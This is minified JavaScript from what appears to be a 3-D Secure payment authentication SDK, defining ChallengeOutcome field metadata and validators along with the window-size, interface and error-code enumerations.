ChallengeOutcome.prototype.setPsImage=function(a){this.psImage=a};ChallengeOutcome.prototype.getResendInformationLabel=function(){return this.resendInformationLabel};ChallengeOutcome.prototype.setResendInformationLabel=function(a){this.resendInformationLabel=a};ChallengeOutcome.prototype.getSdkTransID=function(){return this.sdkTransID};ChallengeOutcome.prototype.setSdkTransID=function(a){this.sdkTransID=a};ChallengeOutcome.prototype.getSubmitAuthenticationLabel=function(){return this.submitAuthenticationLabel};
ChallengeOutcome.prototype.setSubmitAuthenticationLabel=function(a){this.submitAuthenticationLabel=a};ChallengeOutcome.prototype.getTransStatus=function(){return this.transStatus};ChallengeOutcome.prototype.setTransStatus=function(a){this.transStatus=a};ChallengeOutcome.prototype.getWhitelistingInfoText=function(){return this.whitelistingInfoText};function MathUtil(){}ChallengeOutcome.prototype.setWhitelistingInfoText=function(a){this.whitelistingInfoText=a};
ChallengeOutcome.prototype.getWhyInfoLabel=function(){return this.whyInfoLabel};ChallengeOutcome.prototype.setWhyInfoLabel=function(a){this.whyInfoLabel=a};ChallengeOutcome.prototype.getWhyInfoText=function(){return this.whyInfoText};ChallengeOutcome.prototype.setWhyInfoText=function(a){this.whyInfoText=a};ChallengeOutcome.fromJson=function(a){var b=new ChallengeOutcome;JsonSerializer.readJsonIntoInstance(b,a);return b};
ChallengeOutcome.fromMap=function(a){var b=new ChallengeOutcome;(new JsonSerializer).readMapIntoInstance(b,a,a);return b};ChallengeOutcome.FieldMetadata={};for(key in Challenge.FieldMetadata)Challenge.FieldMetadata.hasOwnProperty(key)&&(ChallengeOutcome.FieldMetadata[key]=Challenge.FieldMetadata[key]);
ChallengeOutcome.FieldMetadata.acsCounterAtoS=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getAcsCounterAtoS():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setAcsCounterAtoS(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,
"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.LENGTH,3).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.acsHTML=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getAcsHTML():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,Base64URL,"Base64URL")&&(a.setAcsHTML(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new Base64URL;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.Base64URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,
1E5).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.acsUiType=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getAcsUiType():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ACSUITemplate,"ACSUITemplate")&&(a.setAcsUiType(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return ACSUITemplate.fromObject(a)}).enableSerialization().setFieldType(Init.Type.ACSUITemplate).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeAddInfo=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeAddInfo():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setChallengeAddInfo(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,256).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeCompletionInd=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeCompletionInd():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,BooleanYesNo,"BooleanYesNo")&&(a.setChallengeCompletionInd(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return BooleanYesNo.fromObject(a)}).enableSerialization().setFieldType(Init.Type.BooleanYesNo).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeInfoHeader=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeInfoHeader():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setChallengeInfoHeader(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeInfoLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeInfoLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setChallengeInfoLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeInfoText=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeInfoText():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setChallengeInfoText(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,350).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeInfoTextIndicator=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeInfoTextIndicator():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,BooleanYesNo,"BooleanYesNo")&&(a.setChallengeInfoTextIndicator(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return BooleanYesNo.fromObject(a)}).enableSerialization().setFieldType(Init.Type.BooleanYesNo).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.challengeSelectInfo=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getChallengeSelectInfo():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,Object,"Object")&&(a.addChallengeSelectInfo(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
Object,"Object")?a:null}).enableSerialization().setFieldType(Init.Type.Object).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.ALLOW_EMPTY,!1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.ARRAY).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.expandInfoLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getExpandInfoLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setExpandInfoLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,
"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.expandInfoText=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getExpandInfoText():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setExpandInfoText(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,
"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,256).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.issuerImage=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getIssuerImage():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ImageSizes,"ImageSizes")&&(a.setIssuerImage(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new ImageSizes}).enableDcoSync().enableSerialization().setFieldType(Init.Type.ImageSizes).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.messageExtension=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getMessageExtension():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,MessageExtensionAttributes,"MessageExtensionAttributes")&&(a.addMessageExtension(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new MessageExtensionAttributes}).enableDcoSync().enableSerialization().setFieldType(Init.Type.MessageExtensionAttributes).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.ARRAY).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.MAX_LENGTH,
10).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.ALLOW_EMPTY,!1).build());
ChallengeOutcome.FieldMetadata.oobAppURL=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getOobAppURL():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,URL,"URL")&&(a.setOobAppURL(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new URL;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.URL).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,
256).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.oobAppLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getOobAppLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setOobAppLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.oobContinueLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getOobContinueLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setOobContinueLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.psImage=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getPsImage():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,ImageSizes,"ImageSizes")&&(a.setPsImage(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(){return new ImageSizes}).enableDcoSync().enableSerialization().setFieldType(Init.Type.ImageSizes).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.resendInformationLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getResendInformationLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setResendInformationLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.sdkTransID=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getSdkTransID():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,UUID,"UUID")&&(a.setSdkTransID(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){var b=new UUID;b.setRawValue(a);return b}).enableSerialization().setFieldType(Init.Type.UUID).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.submitAuthenticationLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getSubmitAuthenticationLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setSubmitAuthenticationLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.transStatus=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getTransStatus():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,TransactionStatus,"TransactionStatus")&&(a.setTransStatus(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return TransactionStatus.fromObject(a)}).enableSerialization().setFieldType(Init.Type.TransactionStatus).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.whitelistingInfoText=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getWhitelistingInfoText():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setWhitelistingInfoText(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,
String,"String")?a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).addProperty(Property.MAX_LENGTH,64).build());function DateUtils(){}
ChallengeOutcome.FieldMetadata.whyInfoLabel=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getWhyInfoLabel():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setWhyInfoLabel(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,45).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());
ChallengeOutcome.FieldMetadata.whyInfoText=(new FieldMetadata).setValueRetriever(function(a){return a instanceof ChallengeOutcome?a.getWhyInfoText():null}).setValueSetter(function(a,b){var c=FieldMetadata.SetterResult.NOT_APPLICABLE;a instanceof ChallengeOutcome&&(c=FieldMetadata.SetterResult.FAILURE,MetadataUtils.isInstanceOf(b,String,"String")&&(a.setWhyInfoText(b),c=FieldMetadata.SetterResult.SUCCESS));return c}).setValueInitializer(function(a){return MetadataUtils.isInstanceOf(a,String,"String")?
a:null}).enableSerialization().setFieldType(Init.Type.String).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.STRING).addContext(FieldMetadata.ValidatorContext.T).addProperty(Property.MAX_LENGTH,256).addProperty(Property.MIN_LENGTH,1).build()).addValidator((new FieldMetadata.ValidatorMetadata.Builder).setDelegate(FieldMetadata.ValidationDelegate.OBJECT).addContext(FieldMetadata.ValidatorContext.THIS).build());WindowSize.prototype=NDObject.create(Enumerable.prototype);
WindowSize.VALUES={};WindowSize.fromString=function(a){if("undefined"===typeof WindowSize.VALUES[a])throw new IllegalArgumentException("value is not a valid WindowSize value.");return WindowSize.VALUES[a]};function Builder(){this.mValidationDelegate=ValidationDelegate.OBJECT;this.mContexts=[];this.mProperties={}}WindowSize.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof WindowSize.VALUES[a]?new WindowSize(TextUtils.stringify(a),!1):WindowSize.VALUES[a]};
WindowSize.WS250_400=new WindowSize("01",!0);WindowSize.WS390_400=new WindowSize("02",!0);WindowSize.WS500_600=new WindowSize("03",!0);WindowSize.WS600_400=new WindowSize("04",!0);WindowSize.FULL_SCREEN=new WindowSize("05",!0);ACSInterface.prototype=NDObject.create(Enumerable.prototype);ACSInterface.VALUES={};ACSInterface.fromString=function(a){if("undefined"===typeof ACSInterface.VALUES[a])throw new IllegalArgumentException("value is not a valid ACSInterface value.");return ACSInterface.VALUES[a]};
ACSInterface.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof ACSInterface.VALUES[a]?new ACSInterface(TextUtils.stringify(a),!1):ACSInterface.VALUES[a]};ACSInterface.NATIVE_UI=new ACSInterface("01",!0);ACSInterface.HTML_UI=new ACSInterface("02",!0);ACSInterface.BOTH=new ACSInterface("03",!0);ErrorCode.prototype=NDObject.create(NumericEnumerable.prototype);ErrorCode.VALUES={};
ErrorCode.fromString=function(a){if("undefined"===typeof ErrorCode.VALUES[a])throw new IllegalArgumentException("value is not a valid ErrorCode value.");return ErrorCode.VALUES[a]};ErrorCode.fromObject=function(a){return null!==ObjectUtils.normalize(a)&&"undefined"===typeof ErrorCode.VALUES[a]?new ErrorCode(TextUtils.stringify(a),!1):ErrorCode.VALUES[a]};ErrorCode.MESSAGE_RECEIVED_INVALID=new ErrorCode("101",!0);ErrorCode.MESSAGE_VERSION_NOT_SUPPORTED=new ErrorCode("102",!0);
ErrorCode.REQUIRED_DATA_ELEMENT_MISSING=new ErrorCode("201",!0);function ResultsResponse(){APIResponse.call(this);this.transStatusReason=this.transStatus=this.messageCategory=this.interactionCounter=this.eci=this.challengeCancel=this.authenticationValue=this.acsTransID=this.dsTransID=this.threeDSServerTransID=null;Interface.implement(this,ISyncable)}ErrorCode.CRITICAL_MESSAGE_EXTENSION_NOT_RECOGNISED=new ErrorCode("202",!0);ErrorCode.DATA_ELEMENT_FORMATTING_ERROR=new ErrorCode("203",!0);
ErrorCode.DUPLICATE_DATA_ELEMENT=new ErrorCode("204",!0);ErrorCode.TRANSACTION_ID_NOT_RECOGNIZED=new ErrorCode("301",!0);ErrorCode.DATA_DECRYPTION_FAILURE=new ErrorCode("302",!0);ErrorCode.ACCESS_DENIED_INVALID_ENDPOINT=new ErrorCode("303",!0);ErrorCode.ISO_CODE_INVALID=new ErrorCode("304",!0);ErrorCode.TRANSACTION_DATA_NOT_VALID=new ErrorCode("305",!0);ErrorCode.MERCHANT_CATEGORY_CODE_NOT_VALID_FOR_PAYMENT_SYSTEM=new ErrorCode("306",!0);ErrorCode.SERIAL_NUMBER_NOT_VALID=new ErrorCode("307",!0);
ErrorCode.UNSUPPORTED_DEVICE=new ErrorCode("401",!0);ErrorCode.TRANSACTION_TIMED_OUT=new ErrorCode("402",!0);ErrorCode.TRANSIENT_SYSTEM_FAILURE=new ErrorCode("403",!0);ErrorCode.PERMANENT_SYSTEM_FAILURE=new ErrorCode("404",!0);ErrorCode.SYSTEM_CONNECTION_FAILURE=new ErrorCode("405",!0);ErrorCode.THREE_DSSDK_INITIALIZATION_FAILURE=new ErrorCode("10000",!0);ObjectValidator.prototype=NDObject.create(BaseValidator.prototype);ObjectValidator.prototype.getAllowedProperties=function(){return[Property.ALLOW_EMPTY]};
ObjectValidator.prototype.validate=function(a,b,c){var d=new ValidationResult;d.failIf(this._validateArguments(b,a));d.failIf(this.metadataProviderValidate(b,c));c=TextUtils.stringifyToCharSequence(c);TextUtils.isEmpty(c)&&"undefined"!==typeof a[Property.ALLOW_EMPTY.toString()]&&!1===a[Property.ALLOW_EMPTY.toString()]&&d.fail(b,a,[Property.ALLOW_EMPTY]);return d};
ObjectValidator.prototype.metadataProviderValidate=function(a,b){var c=new ValidationResult;Interface.isInstanceOf(b,IMetadataProvider)&&c.failIf((new Validator(b)).validate(a));return c};BaseValidator.prototype.getAllowedProperties=function(){throw Error("getAllowedProperties is abstract and must be implemented.");};BaseValidator.prototype.validate=function(a,b,c){throw Error("validate is abstract and must be implemented.");};
BaseValidator.prototype._validateArguments=function(a,b){return this.mValidateArguments?BaseValidator.validateArguments(a,b,this.getAllowedProperties()):new ValidationResult};BaseValidator.prototype._getParentFieldName=function(){return this.mParentFieldName};function CustomConvertible(){this.mRawValue=this.mValue=null;Interface.implement(this,IValidatable)}
BaseValidator.validateArguments=function(a,b,c){var d=new ValidationResult;if(c&&b)for(var e in b){var f=!1,g;for(g in c)c[g].toString()===e&&(f=!0);f||d.fail(a,b,[Property.ARGUMENT_KEY])}return d};BaseValidator.sliceArguments=function(a,b){var c={};if(b&&a)for(var d=0;d<b.length;d++){var e=b[d];"undefined"===typeof a[e]&&(c[e]=a[e])}return c};
